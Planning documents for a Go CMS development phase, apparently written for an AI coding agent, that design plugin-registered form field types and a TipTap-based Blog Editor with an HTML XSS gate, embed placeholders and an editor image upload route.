+- **D-14:** **Translatable variants are registered by the plugin itself**: the plugin registers both `blogeditor` and `mlblogeditor`, mirroring the `markdown`/`mlmarkdown` pair. The planner decides how a plugin ML type plugs into cabana's existing lift/hydrate path (`field_ml.go`) and the translate adapter, so locale storage is not reimplemented per plugin.
+- **D-15:** The form schema and the generated TS types carry plugin types as a generic shape, so the SPA build does not need to know them (per the todo). The cabana README, `docs/`, the admin OpenAPI, the generated TS types and the committed `dist/` are updated in the same change (CLAUDE.md documentation rules).
+
+### Libraries, media, category content
+- **D-16:** **The editor library is TipTap (ProseMirror, MIT).** It is wrapped in a plain custom element and bundled in **sm-journal-plugin's own JS build** (`assets/src` → `assets/dist`), with the bundle committed and embedded, like the admin SPA `dist/`. The host app needs no npm. The admin SPA itself gains no editor dependency.
+- **D-17:** **Embeds render in the `vue-journal-layer` blog views.** The layer expands allowlisted embed placeholders into privacy-friendly iframes (for example `youtube-nocookie.com`), so grzybyfunkcjonalne.pl shows them. A new layer tag is pinned in `vue-grzybyfunkcjonalne-app`.
+- **D-18:** **Images are uploaded through the existing backend-authenticated Journal media upload route**, by drag-and-drop or file picker. The editor inserts `<img src>` with alt text and an optional caption (`figure`/`figcaption`). There is no media library browser.
+- **D-19:** **Journal category content uses the Blog Editor** (`blogeditor`, or `mlblogeditor` if the category content attribute is translatable in the PHP tree) instead of the textarea. **No core cabana `richeditor` type** is added. This closes todo `cabana-richeditor-field-type.md` inside Journal. Category content follows D-10 (amended): it is stripped like posts, not refused. This replaces the 422 `CheckHTML` gate in the Categories controller's `FormBeforeCreate`/`FormBeforeUpdate` (Winter stored category content unsanitized; that was a gap, not a contract to keep).
+
+### Claude's Discretion
+- The exact `pact` interface name and method set, Go identifiers, the element value/event contract details, and the asset declaration shape, all within D-11 to D-15.
+- How "untouched" is detected for D-03: client-side dirty tracking versus server-side comparison with the loaded value. Either is acceptable as long as an untouched save is byte-identical.
+- The ProseMirror schema strategy for preserving unknown markup (generic passthrough nodes and marks, a global attribute preservation extension).
+- The exact embed placeholder markup and the provider allowlist (YouTube at minimum).
+- Whether a summercms tag release, the host bump and a UAT redeploy belong in this phase, following the 16.1 D-04 pattern. Recommended, because the goal is to edit imported posts on UAT.
+- Plan count and split, subject to the plan-count checkpoint and "unit tests are the last plan". Framework work comes before the Journal work.
+- Run the security-review agent: the phase adds a plugin API to `pact`, changes HTML write paths and adds an upload path into the editor.
+
+### Folded Todos
+- **`cabana-plugin-registered-field-types.md`**: the framework half of this phase (D-11 to D-15).
+- **`cabana-richeditor-field-type.md`**: resolved by reusing the Blog Editor for category content (D-19) instead of a core type.
+- **`journal-imported-html-admin-resave.md`**: the data-loss part is fixed by D-02, D-07 and D-10. Its required test applies: re-save an imported HTML post and assert `content` and `content_html` are unchanged. If 16.1 already shipped a stopgap, this phase replaces it.

+- `.planning/todos/pending/cabana-plugin-registered-field-types.md`: the framework design sketch (pact interface, element contract, generic schema shape)
+- `.planning/todos/pending/cabana-richeditor-field-type.md`: category content requirement and the `CheckHTML` gate
+- `.planning/todos/pending/journal-imported-html-admin-resave.md`: the data-loss bug and its required test
+
+### Prior phase context
+- `.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-CONTEXT.md`: D-03 (content/excerpt display, data-loss stopgap); 16.2 depends on 16.1
+- `.planning/phases/15-journal-plugin/15-CONTEXT.md`: D-01 to D-04 (frozen PHP tree is binding), D-11 (markdown field origin), D-14 (`/_journal/api/v1` contract)
+- `.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-CONTEXT.md`: D-02 to D-05 (the `vue-journal-layer` structure and distribution, for D-17)
+- `.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-RESEARCH.md`: Pitfall 2 (goldmark wipes raw HTML)
+- Phase 10.1 (`.planning/phases/10.1-runtime-admin-extension-point/`): the `type: widget` custom-element mechanism, asset serving, `--c-*` CSS variable rule
+
+### Framework code
+- `modules/pact/capabilities.go`: capability interfaces, `AdminClientAssets`
+- `modules/cabana/form_schema.go`: closed `formFieldTypes` set, fail-loud key validation
+- `modules/cabana/crud.go` (~line 1227): scalar type switch on save
+- `modules/cabana/field_ml.go`: ML lift/hydrate for `ml*` types
+- `modules/cabana/extension.go`: widget tag validation, plugin asset hashing and serving
+- `admin/src/components/form/registry.ts`, `admin/src/components/form/fields/MarkdownField.vue`, `MLMarkdownField.vue`: SPA renderer registry and the ML wrapper
+- `modules/cabana/README.md` and `docs/`: must be updated with the API
+
+### Journal plugin (`../sm-journal-plugin`)
+- `classes/format_html.go`: `FormatHTML` (goldmark, API path) and `CheckHTML` (gate)
+- `models/post/fields.yaml`, `models/category/fields.yaml`: fields switched to the Blog Editor
+- The Posts and Categories controllers' form hooks: where the admin save path runs `FormatHTML`/`CheckHTML`
+- Frozen PHP reference: `/media/nvme/dev/golem15/fonoteka/plugins/golem15/journal/formwidgets/` (`JournalMarkdown.php`, `MLJournalMarkdown.php`) and `API.md`
+
+### Frontend layer
+- `../vue-journal-layer`: post body rendering, where embed placeholder expansion goes (D-17)
+</canonical_refs>
+
+<code_context>
+## Existing Code Insights
+
+### Reusable Assets
+- The Phase 10.1 widget machinery (`extension.go`) already validates custom-element tags, embeds and hashes plugin assets, and serves them with ETag and `?v=` cache busting. Global field-type assets should reuse this rather than add a second asset pipeline.
+- `field_ml.go`'s lift/hydrate and the translate adapter already store locale maps for `mlmarkdown`. `mlblogeditor` should go through the same path.
+- `classes.CheckHTML` is the existing three-pattern XSS gate, already used for category content.
+- The Journal media upload route (backend Bearer guard, Phase 15 D-15) is the upload target for D-18.
+
+### Established Patterns
+- Field types fail loudly at boot: an unknown type or key is a boot error. Plugin types must meet the same bar.
+- "Framework first": cabana changes land in their own commits and may get a summercms tag before the plugin work (Phase 12.1 and 15 D-11 precedent).
+- Another session may be working in `modules/` concurrently (16.1 D-02). Stage files explicitly by path and check for in-flight edits to shared cabana files.
+- Committed `dist/` for built JS (admin SPA). The plugin bundle follows the same pattern.
+
+### Integration Points
+- `formFieldTypes` and the crud type switch must consult the plugin type registry.
+- The SPA `registry.ts` needs a fallback route from an unknown or plugin type to a generic plugin-element renderer, instead of `UnsupportedField`.
+- The list column renderer must call the plugin's list formatter.
+- The `vue-journal-layer` post body renderer gets embed expansion, followed by a new layer tag and a bump in `vue-grzybyfunkcjonalne-app`.
+</code_context>
+
+<specifics>
+## Specific Ideas
+
+- The user explicitly wants an editor "beyond the current markdown field or a plain rich editor" that edits imported HTML losslessly. Lossless round-trip is the acceptance bar, and it has a test: re-save an untouched imported post and get byte-identical `content`/`content_html`.
+- Embeds must keep the XSS gate strict: placeholder in storage, iframe only in the frontend.
+</specifics>
+
+<deferred>
+## Deferred Ideas
+
+- **Core cabana `richeditor`/`mlricheditor` type** for plugins without their own editor. Not needed now; any plugin can register its own type or reuse one.
+- **Media library browser** for picking previously uploaded images.
+- **HTML input on the public write API** (`/_journal/api/v1/posts`). This would extend the PHP contract; the API stays markdown-in for now.
+- **Bulk HTML conversion command** (`journal:content-to-html`). Rejected in favour of convert-on-first-edit (D-07); revisit if a uniform format is ever needed.
+- **Allowlisting iframe hosts in `CheckHTML`**. Rejected in favour of placeholders (D-05).

+# Phase 16.2: Plugin-provided field types and the Blog Editor formwidget - Pattern Map
+
+**Mapped:** 2026-10-09
+**Files analyzed:** 27 (4 repos)
+**Analogs found:** 25 / 27
+
+Binding post-research decisions: the editor image upload goes through a new cabana-owned route `POST {admin}/api/v1/{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload` that calls an optional `FormFieldType.Upload`; Journal implements it by reusing its media storage. The phase includes the 16.1-style release (summercms v0.1.17, journal/host bumps, vue-journal-layer v0.2.0 + app pin, UAT redeploy).
+
+All paths are git-tracked source in their own repos (sm-journal-plugin, vue-journal-layer and vue-grzybyfunkcjonalne-app are sibling repos; there are no `.msd/` mirror paths).

+
+## Pattern Assignments
+
+### `modules/pact/capabilities.go` (interface)
+
+**Analog:** same file, `AdminAction` lines 217-270. Copy the shape: a struct of plain fields plus func fields tagged `json:"-"`, a separate `...Input` struct, a separate `...Result` struct, and a one-method `Has...` interface. Doc comments say what the framework owns versus what the func owns.
+
+```go
+type AdminAction struct {
+	Name        string
+	Label       string
+	Permissions []string
+	Run         func(ctx context.Context, in AdminActionInput) (AdminActionResult, error) `json:"-"`
+}
+...
+// HasAdminActions is implemented by an admin controller that registers named
+// actions for its toolbar.buttons list and its `type: widget` form fields.
+type HasAdminActions interface {
+	AdminActions() []AdminAction
+}
+```
+`HasFormFieldTypes` is implemented by the **plugin** (not the controller), like `HasAdminControllers` (line 183-184). `pact.FieldError{Messages []string}` replaces `cabana.ValidationError`, because pact cannot import cabana. Asset fields reuse the `AdminClientAssets` path rule documented in lines 205-210 (paths under `assets/`).
+
+---
+
+### `modules/cabana/field_type.go` (registry, boot validation)
+
+**Analog:** `modules/cabana/extension.go`
+
+**Element tag rule** (lines 49-55, 320-333). Reuse as is for `FormFieldType.Element`:
+```go
+func widgetTagPrefix(pluginID string) string {
+	return strings.NewReplacer(".", "-", "_", "-").Replace(strings.ToLower(pluginID)) + "-"
+}
+func checkWidgetTag(tag, prefix string) error {
+	if !widgetTagPattern.MatchString(tag) { ... }
+	if reservedWidgetTags[tag] { ... }
+	if !strings.HasPrefix(tag, prefix) { ... }
+	return nil
+}
+```
+
+**Asset read+hash** (lines 253-300). Extract the `read` closure into a function that takes `(pluginID, ownerLabel, fsys, files, exts...)` so controller assets and plugin field-type assets share it. The key is `vendor + "/" + plugin + "/" + strings.TrimPrefix(name, "assets/")` and the version is `digest[:12]`; errors go through `bootErr(pluginID, id, name, err)`. `checkAssetPath` (302-318) is reused unchanged.
+
+**Name uniqueness pattern**: `compileActions` (335+) builds a map and fails on duplicates or reserved names (`builtinToolbarActions`, line 47). Apply the same check to aliases against the `formFieldTypes` keys, `widget`, `partial` and other plugins' aliases. Do not use a package-level registry: build it in `Activate` (`http.go:74-121`) and pass it into `compileRegistry`.
+
+---
+
+### `modules/cabana/field_type_upload.go` (controller, file-I/O)
+
+**Analog:** `modules/cabana/field_file.go` lines 684-760, routes in `http.go:335-347`.
+
+```go
+func (s *service) fileUpload(w http.ResponseWriter, r *http.Request) {
+	s.protect(w, r, func(cc *CompiledController) { s.fileUploadOn(w, r, cc, parentFiles(cc)) })
+}
+...
+	body := &bodyReader{r: http.MaxBytesReader(w, r.Body, s.uploadCap(cf))}
+	r.Body = io.NopCloser(body)
+	mr, err := r.MultipartReader()
+	if err != nil { writeCRUDError(w, invalidBody()); return }
+	part, err := mr.NextPart()
+	...
+	err = lagoon.Transaction(r.Context(), db, func(ctx context.Context, tx *gorm.DB) error {
+		ctx = withTx(ctx, tx)
+		sc, err := fr.scope(ctx, tx, r)
+```
+Route registration follows `g.Post("/{vendor}/{plugin}/{controller}/{id}/files/{field}", requireAjax(s.fileUpload))`, so the new route is `g.Post("/{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload", requireAjax(s.fieldUpload))`. Use `s.uploadBytes` for the cap, load the record through the `FormExtendQuery` scope when `id != 0`, map `pact.FieldError` to 422 on the field, and answer 201 `{data:{url}}`. Also add an entry to `admin_openapi.go` and `phase09Routes`, add a conformCase for the route to `modules/cabana/openapi_conformance_test.go` (one conformCase per new admin route; TestPhase10ConformanceInventory enforces it without Docker), and rerun `scripts/check-admin-openapi.sh`.
+
+---
+
+### `modules/cabana/tx_context.go` (written-values accessor)
+
+**Analog:** same file, lines 36-60:
+```go
+type virtualFieldsKey struct{}
+
+func withVirtualFields(ctx context.Context, values map[string]any) context.Context {
+	if values == nil { values = map[string]any{} }
+	return context.WithValue(ctx, virtualFieldsKey{}, values)
+}
+
+func VirtualFieldsFromContext(ctx context.Context) (map[string]any, bool) {
+	if ctx == nil { return nil, false }
+	values, ok := ctx.Value(virtualFieldsKey{}).(map[string]any)
+```
+Mirror it as `fieldWritesKey{}` / `withFieldWrites` / exported `FieldWritesFromContext(ctx) (map[string]map[string]string, bool)` (field → locale → value), returning a copy and the same "false outside a create or update save" semantics.
+
+---
+
+### `modules/cabana/crud.go` + `field_ml.go` (save and hydrate)
+
+**Analog:** the existing ML path in `save()`:
+- `crud.go:600` `translations, err := liftMLValues(ctx, cc, in.Body, op, s.writer, s.DB)` runs before the tx. Add the plugin shape check here; translatable plugin types reuse the `liftMLValues` locale-map rules (`field_ml.go` doc at 52-58).
+- `crud.go:616` `loadRecord(...)`. Insert the per-(field, locale) Load → compare → skip/Decode step right after this.
+- `crud.go:688` `applyMLTranslations(ctx, tx, s.writer, target, translations)`. Decoded non-default values join `translations`.
+- `crud.go:709` `hydrateMLRecord(...)`. Call plugin `Load` per locale here.
+- `crud.go:1224-1232`: the `scalarFormField` switch gains a registry lookup (it is used by `BindWritableFields` at 204 and `mergedRules` at 1073).
+- `field_ml.go:47-53` `mlFieldType(typ)`: becomes registry-aware (a plugin type with `Translatable: true`).
+- Error mapping: follow `lifecycleFailure` (crud.go:815-850). `pact.FieldError` becomes a 422; anything else becomes the opaque 500.
+
+### `modules/cabana/form_schema.go`
+
+The self-pattern at lines 24-30 (closed set) and 466-480 (key check before type resolution). Reorder so the type resolves first and plugin `Options` keys are checked after it, then call `CheckOptions`. `decodeFields` callers: form_schema.go:194, settings.go:74 (refuse plugin types in v1), relation_form.go:145/:246.
+
+---
+
+### `admin/src/components/form/fields/PluginField.vue` (component, event-driven)
+
+**Analog:** `admin/src/components/form/fields/WidgetField.vue`. Copy:
+- the imports block (lines 1-9: `inject`, `FORM_ASSETS`, `FORM_LOCALE`, `ExtensionFailure`, `FieldControlProps`);
+- the imperative element creation in a `mountPoint` that Vue never renders into;
+- the `status: 'loading' | 'ready' | 'failed'` ref, the `defined(tag)` wait with `timeout(ms)` (lines 50-60);
+- the header-comment rule: never give the element a token, cookie, function or Vue instance.
+
+Differences: set `el.value` (property, not attribute); listen for `summer-change` → `emit('update:modelValue', detail.value)`; handle `summer-upload` by posting through `api` (the same client as the widget action) to the field upload route, then dispatch `summer-upload-result`. Add event-name constants next to `WIDGET_EVENT`/`WIDGET_RESULT_EVENT` in `formContext.ts:86,93`.
+
+### ML variant
+
+**Analog:** `admin/src/components/form/fields/MLMarkdownField.vue` (whole file):
+```vue
+<MLField v-bind="props" :inner="MarkdownField" inner-type="markdown" ml-type="mlmarkdown"
+  @update:model-value="emit('update:modelValue', $event)" />
+```
+Use `:inner="PluginField"`, `inner-type` = the base alias, and `ml-type` = `field.type`. Let `isMLFieldType` (`mlLocale.ts:2`, `ML_FIELD_TYPES`) accept fields flagged `translatable`.
+
+### `admin/src/components/form/registry.ts`
+
+Self-pattern: `rendererFor(type)` returns `renderers.get(type) ?? lazyRenderers.get(type)?.() ?? UnsupportedField`. Change it to take the field (or check `field.element`) so plugin types fall back to `PluginField`/`MLPluginField` instead of `UnsupportedField`. `valueless` stays unchanged. Add translatable plugin types to `groupLabelledTypes` behaviour.
+
+### `admin/src/app/fieldTypes.ts` (global loader)
+
+**Analog:** `admin/src/app/pluginAssets.ts`. Reuse `assetAllowed()`, the `scripts` once-per-URL map, and the module-script loading. Unlike `activateStyles(controllerId)` (lines 105-110, which disables links whose `owner !== active`), field-type links need a reserved global owner that `activateStyles` skips (Pitfall 8). Call it once after login, from the app shell.
+
+---
+
+### `../sm-journal-plugin/classes/blog_editor.go` (Decode/Load/ListValue/Upload)
+
+**Analog (gate):** `classes/format_html.go`, `CheckHTML(doc string) error`. **Analog (422 shape and nil content):** `controllers/categories.go:65-82`:
+```go
+func prepareCategoryWrite(cat *models.Category) error {
+	if cat.Content == nil { return nil }
+	if strings.TrimSpace(*cat.Content) == "" { cat.Content = nil; return nil }
+	if err := classes.CheckHTML(*cat.Content); err != nil {
+		return &cabana.ValidationError{Details: map[string]any{"content": []string{err.Error()}}}
+	}
+	return nil
+}
+```
+In Decode, return `pact.FieldError{Messages: []string{err.Error()}}` instead of `cabana.ValidationError`. Load serves `content` if it looks like HTML, otherwise `content_html` (non-default locale through `TranslationWriter.TranslatedExact`, `field_ml.go` interface).
+
+### `../sm-journal-plugin/classes/media_store.go` (extracted storage)
+
+**Analog:** `controllers/api/media.go` `UploadMedia` lines 22-91. Extract the part after auth (lines ~42-84): the extension allowlist `jpg|jpeg|png|gif|webp`, the `mediaMaxBytes` cap, `mediaObjectPath(folder, name)`, `uniqueMediaKey`, `bucket.NewWriter` and `attach.PublicURL(...)`. Use it as a `StoreMedia(ctx, bucket, folder, filename, body) (url, path string, err error)` called by both `UploadMedia` and the `blogeditor` Upload. Validation messages ("The file must be an image." and so on) become `pact.FieldError` on the field route. The API route keeps its response shape (D-09 parity).
+
+### `../sm-journal-plugin/controllers/posts.go`
+
+Self-pattern `preparePostWrite` (204-221). The admin path drops:
+```go
+	html, err := classes.FormatHTML(post.Content)
+	...
+	post.ContentHTML = html
+```
+Replace it with `if writes, ok := cabana.FieldWritesFromContext(ctx); ok { if v, ok := writes["content"][defaultLocale]; ok { post.ContentHTML = v } }`. In `FormAfterCreate`/`FormAfterUpdate`, call `writer.WriteTranslated(ctx, tx, post, "content_html", locale, value)` for each written non-default locale. `controllers/api/posts_helpers.go` keeps `FormatHTML`.
+
+### `../sm-journal-plugin/admin.go` / `plugin.go`
+
+The `//go:embed` list in `admin.go:16-20`, for example `//go:embed assets/images/journal-icon.svg`. Add `assets/dist/blogeditor.js assets/dist/blogeditor.css`. The plugin type implements `pact.HasFormFieldTypes`, with compile-time assertions in the style of `var ( _ pact.AdminController = categoriesAdminController{} )` (categories.go:84+).
+
+### `../sm-journal-plugin/package.json`, `vite.config.ts`, `scripts/check-dist.sh`
+
+**Analog:** `scripts/check-admin-dist.sh` (whole file): `set -euo pipefail`, `npm ci` if needed, typecheck, `vite build --outDir "$TMP/dist" --emptyOutDir`, then `diff -r "$TMP/dist" assets/dist` with a clear stale message. Copy the pins from `admin/package.json` (vite 7.3.5, vitest 3.2.7, happy-dom 20.11.6, typescript 5.9.3).
+
+### `../vue-journal-layer/app/utils/embeds.ts` (transform)
+
+**Analog:** `../vue-journal-layer/app/utils/htmlGate.ts`. Same style: an exported regex constant, a header comment that names the Go source of truth, and pure string functions:
+```ts
+export const UNSAFE_TAG = /<(?:script|iframe|object|embed)\b/i
+export function gateJournalHtml(html: string | null | undefined): { safe: boolean; html: string } {
+  if (!html) return { safe: true, html: '' }
+  return isSafeJournalHtml(html) ? { safe: true, html } : { safe: false, html: '' }
+}
+```
+`expandEmbeds(html)` runs on `gated.html` after the gate, in `PostBody.vue:11` (`v-html="gated.html"`) and `CategoryHeader.vue:17` (`v-html="content.html"`).
+
+## Shared Patterns
+
+### Fail-loud boot errors
+**Source:** `modules/cabana/extension.go` `bootErr(pluginID, id, name, err)` and `compileExtension` (60+). **Apply to:** alias collisions, bad element tags, asset paths, and unknown or invalid plugin options.
+
+### Admin-route guard stack
+**Source:** `http.go:335-347` (`requireAjax(...)`) plus `s.protect(w, r, func(cc *CompiledController) {...})` (field_file.go:684). **Apply to:** the field upload route and any field-types boot endpoint.
+
+### Error to HTTP mapping
+**Source:** `crud.go:815-850` `lifecycleFailure`, `writeCRUDError`, `WriteError(w, 500, "error", msgServerError)`. **Apply to:** Decode, Load and Upload failures (`pact.FieldError` becomes a 422; anything else becomes an opaque 500).
+
+### Element credential rule and event naming
+**Source:** `WidgetField.vue` header comment and `formContext.ts:86,93` (`summer-action`/`summer-result`). **Apply to:** PluginField and the blogeditor element (`summer-change`, `summer-upload`, `summer-upload-result`).
+
+### Committed-dist drift gate
+**Source:** `scripts/check-admin-dist.sh`. **Apply to:** the admin SPA (`modules/boardwalk/dist`) and the sm-journal-plugin `assets/dist`.
+
+### Docs and README rule
+**Source:** CLAUDE.md "Documentation". **Apply to:** pact and cabana READMEs and `docs/`, using neutral `blog`/`acme` names. Verify with `go test ./cmd/summer -run TestDocsTree`.
+
+### Concurrent-session staging
+Stage by explicit path. Check `git status` and `git diff` for in-flight edits to `crud.go`, `form_schema.go` and `http.go` before committing.

+# Phase 16.2: Plugin-provided field types and the Blog Editor formwidget - Research
+
+**Researched:** 2026-10-09
+**Domain:** Go admin framework extension API (pact/cabana), Vue admin SPA, TipTap/ProseMirror custom element, Nuxt layer HTML post-processing
+**Confidence:** HIGH for the framework integration points (read from source this session) and for TipTap's lossy behaviour (probed locally against 3.31.4). MEDIUM for the recommended editor-preservation design, which is a design proposal that no tests cover yet.
+
+<user_constraints>
+## User Constraints (from CONTEXT.md)
+
+### Locked Decisions
+
+#### Blog Editor: what it is
+- **D-01:** The Blog Editor is a **WYSIWYG HTML editor with a source (raw HTML) toggle**, built on ProseMirror through TipTap. It is not a block editor and not a markdown editor.
+- **D-02:** **An admin save stores HTML in both columns.** `content` holds the edited HTML and `content_html` holds the same HTML after it passes `classes.CheckHTML`. The API response shape is unchanged; `content` is simply HTML, as the PHP export already carries for imported posts. — **Reversibility:** costly — every post saved from the admin becomes HTML-content. A later move back to markdown would need an HTML-to-markdown migration across live posts.
+- **D-03:** **Byte-preserving unless edited.** If the post body is not touched in the editor, the save writes back exactly the stored HTML; the editor must not re-serialize an untouched document. Once the body is edited in WYSIWYG, markup the schema doesn't know (custom classes, divs, attributes) is kept as far as possible through generic node and attribute preservation. The source tab always edits the exact HTML.
+- **D-04:** v1 features: basic text (headings, bold/italic, lists, links, blockquote), **images**, **tables**, and **embeds plus a raw HTML block**. The raw HTML block is still subject to `CheckHTML`.
+- **D-05:** **Embeds are an allowlisted placeholder node**, for example `<figure data-embed="youtube" data-id="…">`, that passes `CheckHTML` unchanged. **The XSS gate is not relaxed to allow iframes.** The frontend expands the placeholder into the real iframe (D-17). — **Reversibility:** costly — the placeholder markup becomes stored content in live posts, and the layer's renderer depends on it.
+- **D-06:** The editor is **translatable like today's `mlmarkdown`**: a locale switcher over a locale → HTML map, stored through the translate overlay.
+
+#### Markdown vs HTML posts
+- **D-07:** **A markdown post opens with its `content_html`**, and the next admin save stores HTML (D-02). This is a one-way migration on first edit, with **no per-post format flag** and no new column.
+- **D-08:** **The Blog Editor replaces `mlmarkdown` for Journal post `content`** in `models/post/fields.yaml`. `markdown` and `mlmarkdown` stay cabana core types for other plugins. The `excerpt` field is unchanged.
+- **D-09:** **The public write API is unchanged.** `POST`/`PUT /_journal/api/v1/posts` keep the PHP contract: `content` is markdown and the server renders `content_html` with `FormatHTML`. Only the admin form path stores HTML.
+- **D-10:** **Admin save gate: `CheckHTML` refuses, nothing is sanitized.** Unsafe HTML returns a 422 with a field error, as category content does today, and nothing is silently rewritten. No sanitizer dependency is added. `CheckHTML` must run on every admin write path for both the default and the non-default locale values. The admin save path must stop running `FormatHTML`/goldmark over HTML content, which is the current data-loss bug (todo `journal-imported-html-admin-resave.md`).
+
+#### Field type contract (framework)
+- **D-11:** **Plugins register field types under a short global alias**, for example `type: blogeditor`. Boot fails loudly if two plugins, or a plugin and a cabana core type, claim the same alias. This is closer to Winter's `registerFormWidgets` aliases than to a namespaced key. — **Reversibility:** costly — aliases end up in plugin `fields.yaml` files across repos; renaming means editing every consumer.
+- **D-12:** The capability is a new `pact` interface (for example `HasFormFieldTypes`). Its Go side owns four things:
+  1. **Option validation at boot**: the type's own YAML keys, fail-loud like the built-ins.
+  2. **Value decode and validation on save**: any JSON shape, with field errors returned as 422.
+  3. **Load and format for the form**: turns the stored column value into what the element receives. For the Blog Editor, a markdown post is served as its `content_html` (D-07).
+  4. **List column formatting**: for example, strip tags and truncate.
+
+  — **Reversibility:** one-way — a published plugin API in `pact`; later plugins (payment and others, per todo `cabana-plugin-registered-field-types.md`) build on it.
+- **D-13:** **The client-side element loads globally on admin boot.** A plugin declares its field-type assets once, and the SPA loads them on every admin page, so the type works in any controller's form, including other plugins' forms. The element binds a value through a documented contract instead of the widget action/fill round-trip. The todo's starting point for that contract is a `value` property plus a `summer-change` event; the planner finalizes it. The element reads only the public `--c-*` CSS variables.
+- **D-14:** **Translatable variants are registered by the plugin itself**: the plugin registers both `blogeditor` and `mlblogeditor`, mirroring the `markdown`/`mlmarkdown` pair. The planner decides how a plugin ML type plugs into cabana's existing lift/hydrate path (`field_ml.go`) and the translate adapter, so locale storage is not reimplemented per plugin.
+- **D-15:** The form schema and the generated TS types carry plugin types as a generic shape, so the SPA build does not need to know them (per the todo). The cabana README, `docs/`, the admin OpenAPI, the generated TS types and the committed `dist/` are updated in the same change (CLAUDE.md documentation rules).
+
+#### Libraries, media, category content
+- **D-16:** **The editor library is TipTap (ProseMirror, MIT).** It is wrapped in a plain custom element and bundled in **sm-journal-plugin's own JS build** (`assets/src` → `assets/dist`), with the bundle committed and embedded, like the admin SPA `dist/`. The host app needs no npm. The admin SPA itself gains no editor dependency.
+- **D-17:** **Embeds render in the `vue-journal-layer` blog views.** The layer expands allowlisted embed placeholders into privacy-friendly iframes (for example `youtube-nocookie.com`), so grzybyfunkcjonalne.pl shows them. A new layer tag is pinned in `vue-grzybyfunkcjonalne-app`.
+- **D-18:** **Images are uploaded through the existing backend-authenticated Journal media upload route**, by drag-and-drop or file picker. The editor inserts `<img src>` with alt text and an optional caption (`figure`/`figcaption`). There is no media library browser.
+- **D-19:** **Journal category content uses the Blog Editor** (`blogeditor`, or `mlblogeditor` if the category content attribute is translatable in the PHP tree) instead of the textarea. **No core cabana `richeditor` type** is added. This closes todo `cabana-richeditor-field-type.md` inside Journal. The existing `CheckHTML` gate in the Categories controller's `FormBeforeCreate`/`FormBeforeUpdate` stays.
+
+### Claude's Discretion
+- The exact `pact` interface name and method set, Go identifiers, the element value/event contract details, and the asset declaration shape, all within D-11 to D-15.
+- How "untouched" is detected for D-03: client-side dirty tracking versus server-side comparison with the loaded value. Either is acceptable as long as an untouched save is byte-identical.
+- The ProseMirror schema strategy for preserving unknown markup (generic passthrough nodes and marks, a global attribute preservation extension).
+- The exact embed placeholder markup and the provider allowlist (YouTube at minimum).
+- Whether a summercms tag release, the host bump and a UAT redeploy belong in this phase, following the 16.1 D-04 pattern. Recommended, because the goal is to edit imported posts on UAT.
+- Plan count and split, subject to the plan-count checkpoint and "unit tests are the last plan". Framework work comes before the Journal work.
+- Run the security-review agent: the phase adds a plugin API to `pact`, changes HTML write paths and adds an upload path into the editor.
+
+### Folded Todos
+- **`cabana-plugin-registered-field-types.md`**: the framework half of this phase (D-11 to D-15).
+- **`cabana-richeditor-field-type.md`**: resolved by reusing the Blog Editor for category content (D-19) instead of a core type.
+- **`journal-imported-html-admin-resave.md`**: the data-loss part is fixed by D-02, D-07 and D-10. Its required test applies: re-save an imported HTML post and assert `content` and `content_html` are unchanged. If 16.1 already shipped a stopgap, this phase replaces it.
+
+### Deferred Ideas (OUT OF SCOPE)
+- **Core cabana `richeditor`/`mlricheditor` type** for plugins without their own editor. Not needed now; any plugin can register its own type or reuse one.
+- **Media library browser** for picking previously uploaded images.
+- **HTML input on the public write API** (`/_journal/api/v1/posts`). This would extend the PHP contract; the API stays markdown-in for now.
+- **Bulk HTML conversion command** (`journal:content-to-html`). Rejected in favour of convert-on-first-edit (D-07); revisit if a uniform format is ever needed.
+- **Allowlisting iframe hosts in `CheckHTML`**. Rejected in favour of placeholders (D-05).

+## Phase Requirements
+
+No REQUIREMENTS.md IDs are mapped to this phase (ROADMAP: "Requirements: TBD"). Coverage is derived from the CONTEXT decisions and the folded todos. ADMIN-07 (Phase 10.1, complete) is the closest existing requirement; this phase extends it and must not regress it.
+
+| ID | Description | Research Support |
+|----|-------------|------------------|
+| D-01, D-04 | WYSIWYG + source toggle; text, images, tables, embeds, raw HTML block | Standard Stack (TipTap 3.31.4), Pattern 4 (editor schema), probe results in Pitfalls 1-4 |
+| D-02, D-07, D-10 | HTML in both columns; markdown post served as `content_html`; CheckHTML refuses on every locale; admin path stops running goldmark | Pattern 2 (save lifecycle), Pattern 6 (Journal integration), Pitfall 6 |
+| D-03 | Byte-identical untouched save | Pattern 3 (two-layer untouched detection), Pitfall 5 |
+| D-05, D-17 | Embed placeholder; layer expands it after the gate | Pattern 7 (embed expansion), Code Example 4 |
+| D-06, D-14 | ML variant through cabana lift/hydrate + translate adapter | Pattern 2 (`Translatable` flag), Pitfall 7 (non-default `content_html` is never written today) |
+| D-08, D-19 | `mlblogeditor` for post content, `blogeditor` for category content | Category content is not translatable (Go model and frozen PHP tree) |
+| D-11, D-12, D-13, D-15 | pact field-type API, boot validation, generic schema shape, global asset load | Pattern 1 (registry), Pattern 5 (element contract), Architecture Map |
+| D-16 | Plugin-owned JS build, committed dist | Pattern 8 (plugin build), Environment Availability |
+| D-18 | Image upload from the editor | **Open Question 1**: the existing route cannot be reached with the admin session cookie; Pattern 9 (cabana-owned field upload route) |
+| todo resave | Re-save of untouched imported HTML keeps both columns byte-identical | Validation Architecture (test map) |
+</phase_requirements>
+
+## Project Constraints (from CLAUDE.md)
+
+These directives come from `summercms.go/CLAUDE.md`, the meta-repo `CLAUDE.md` and the user's global `CLAUDE.md`. The planner must honor them like locked decisions:
+
+- **Lean planning.** Use fewer, larger plans. Before writing any PLAN.md, present the suggested plan count with a one-line scope for each and wait for confirmation.
+- **Unit tests are the last plan of the phase.** That plan brings full coverage. Earlier plans may carry smoke tests only.
+- **Go conventions.** Use the standard library first. Add a Go dependency only when research or a decision names it; this phase adds **no Go dependency**. `go vet` and `go test ./...` must be green at every commit.
+- **Compiled plugins only.** No runtime plugin loading. A JS custom element served from the embedded tree is the Phase 10.1 mechanism and is allowed.
+- **API parity.** The Journal public API keeps the PHP contract (D-09). Do not "improve" response shapes.
+- **Commits.** No co-author tags. One logical change per commit. Planning docs and code go in separate commits.
